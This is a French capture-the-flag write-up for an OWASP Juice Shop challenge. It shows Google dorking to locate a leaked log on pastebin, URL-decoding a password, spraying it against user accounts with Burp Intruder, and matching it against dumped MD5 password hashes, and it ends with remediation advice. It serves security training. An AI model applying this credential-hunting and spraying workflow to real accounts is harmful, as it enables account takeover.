Fouiller Internet pour trouver un mot de passe divulgué et se connecter avec le compte utilisateur auquel il appartient. (Créer un nouveau compte avec le même mot de passe ne constitue pas une solution.)

Analyse

L'énoncé du challenge est un bon indice : la première chose qui vient à l'esprit est Google Dork.

Dans la barre de recherche, on peut entrer :

site:juice-shop.herokuapp.com "log"
None
Google
None
logs

Nous téléchargeons le premier fichier. Rien d'intéressant pour la suite du challenge.

Plusieurs hypothèses :

  • Aller plus loin avec Google Dork ?
  • Rechercher dans les logs .git ?

En regardant les indices données, la première hypothèse est la bonne.

2. A very popular help platform for developers might contain breadcrumbs towards solving this challenge.
3. The actual log file was copied & paste onto a platform often used to share data quickly with externals or even just internal peers.

La plateforme pour développeurs : stackoverflow

Pour copier/coller : pastebin.

Etape de reproduction

  1. Recherche dans Google :
site:stackoverflow.com intext:pastebin juice shop
None
Google dork
None
Stackoverflow

Nous suivons le lien pastebin.

None
pastebin
┌──(kali㉿kali)-[~/juice]
└─$ curl -fsSL https://pastebin.com/raw/4U1V1UjU > logs.txt

Les arguments permettent de : télécharger le fichier, en mode silencieux, afficher les erreurs si ça échoue, et suivre les redirections.

──(kali㉿kali)-[~/juice]
└─$ grep pass logs.txt
161.194.17.103 - - [27/Jan/2019:11:18:35 +0000] "GET /rest/user/change-password?current=0Y8rMnww$*9VFYE%C2%A759-!Fg1L6t&6lB&new=sjss22%@%E2%82%AC55jaJasj!.k&repeat=sjss22%@%E2%82%AC55jaJasj!.k8 HTTP/1.1" 401 39 "http://localhost:3000/" "Mozilla/5.0 (Linux; Android 8.1.0; Nexus 5X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile Safari/537.36"

Le mot de passe est encodé URL

2. Décodage

0Y8rMnww$*9VFYE%C2%A759-!Fg1L6t&6lB
┌──(kali㉿kali)-[~/juice]
└─$ echo '0Y8rMnww$*9VFYE%C2%A759-!Fg1L6t&6lB' | \
python3 -c "import sys, urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"

0Y8rMnww$*9VFYE§59-!Fg1L6t&6lB

On peut faire la même opération avec les autres mots de passe notés.

3. Password Spraying

Nous allons tester ce mot de passe sur tous les utilisateurs que nous connaissons.

  • Nous avons préalablement obtenu la liste des utilisateurs.
  • Nous avons deux fichiers : l'un contenant la liste d'utilisateurs, l'autre les mots de passe possibles.

Utilisation de Burp Suite :

  • Capturer et envoyer la requête POST dans Intruder (CTRL+I)
  • Lancer l'attaque
None
Intruder
None
J12934

En triant par la longueur, un résultat sort du lot : J12934@juice-sh.op

En entrant ces identifiants, nous pouvons nous connecter.

None
Account

Challenge réussi.

Méthode alternative : correspondance via hash

  • En plus des adresses mail, nous avons obtenu les hashes des mots de passe.
  • Nous hasherons le mot de passe et le comparerons à la base obtenue.
  • Cette méthode permet de ne pas faire de bruit et de ne pas se faire bloquer.
$ cat creds.txt 
{
  "status": "success",
  "data": [
    {
      "id": 1,
      "name": "",
      "description": "0192023a7bbd73250516f069df18b500",
      "price": "admin@juice-sh.op",
      "deluxePrice": 5,
      "image": 6,
      "createdAt": 7,
      "updatedAt": 8,
      "deletedAt": 9
    },
    {
      "id": 1,
      "name": "Apple Juice (1000ml)",
      "description": "The all-time classic.",
      "price": 1.99,
      "deluxePrice": 0.99,
      "image": "apple_juice.jpg",
      "createdAt": "2025-09-17 09:46:00.193 +00:00",
      "updatedAt": "2025-09-17 09:46:00.193 +00:00",
      "deletedAt": null
    },
    {
      "id": 2,
      "name": "",
      "description": "e541ca7ecf72b8d1286474fc613e5e45",
      "price": "jim@juice-sh.op",
      "deluxePrice": 5,
      "image": 6,
      "createdAt": 7,
      "updatedAt": 8,
      "deletedAt": 9
    },
    {
      "id": 2,
      "name": "Orange Juice (1000ml)",
      "description": "Made from oranges hand-picked by Uncle Dittmeyer.",
      "price": 2.99,
      "deluxePrice": 2.49,
      "image": "orange_juice.jpg",
      "createdAt": "2025-09-17 09:46:00.193 +00:00",
      "updatedAt": "2025-09-17 09:46:00.193 +00:00",
      "deletedAt": null
    },
    {
      "id": 3,
      "name": "",
      "description": "0c36e517e3fa95aabf1bbffc6744a4ef",
      "price": "bender@juice-sh.op",
      "deluxePrice": 5,
      "image": 6,
      "createdAt": 7,
      "updatedAt": 8,
      "deletedAt": 9
    },

{...}
┌──(kali㉿kali)-[~/juice]
└─$ echo -n '0Y8rMnww$*9VFYE§59-!Fg1L6t&6lB' | md5sum | awk '{print $1}' | grep -f - creds.txt -A7 -B3
    {
      "id": 9,
      "name": "",
      "description": "3c2abc04e4a6ea8f1327d0aae3714b7d",
      "price": "J12934@juice-sh.op",
      "deluxePrice": 5,
      "image": 6,
      "createdAt": 7,
      "updatedAt": 8,
      "deletedAt": 9
    },

Nous avons retrouvé la correspondance.

Remédiations

  • Utiliser HTTPS et POST pour éviter que les mots de passe apparaissent dans les URL.
  • Les logs doivent contenir seulement des informations non sensibles (ex : l'ID de l'utilisateur, horodatage, IP) ou un hash si absolument nécessaire pour debug.
  • Anonymiser ou masquer les secrets dans les logs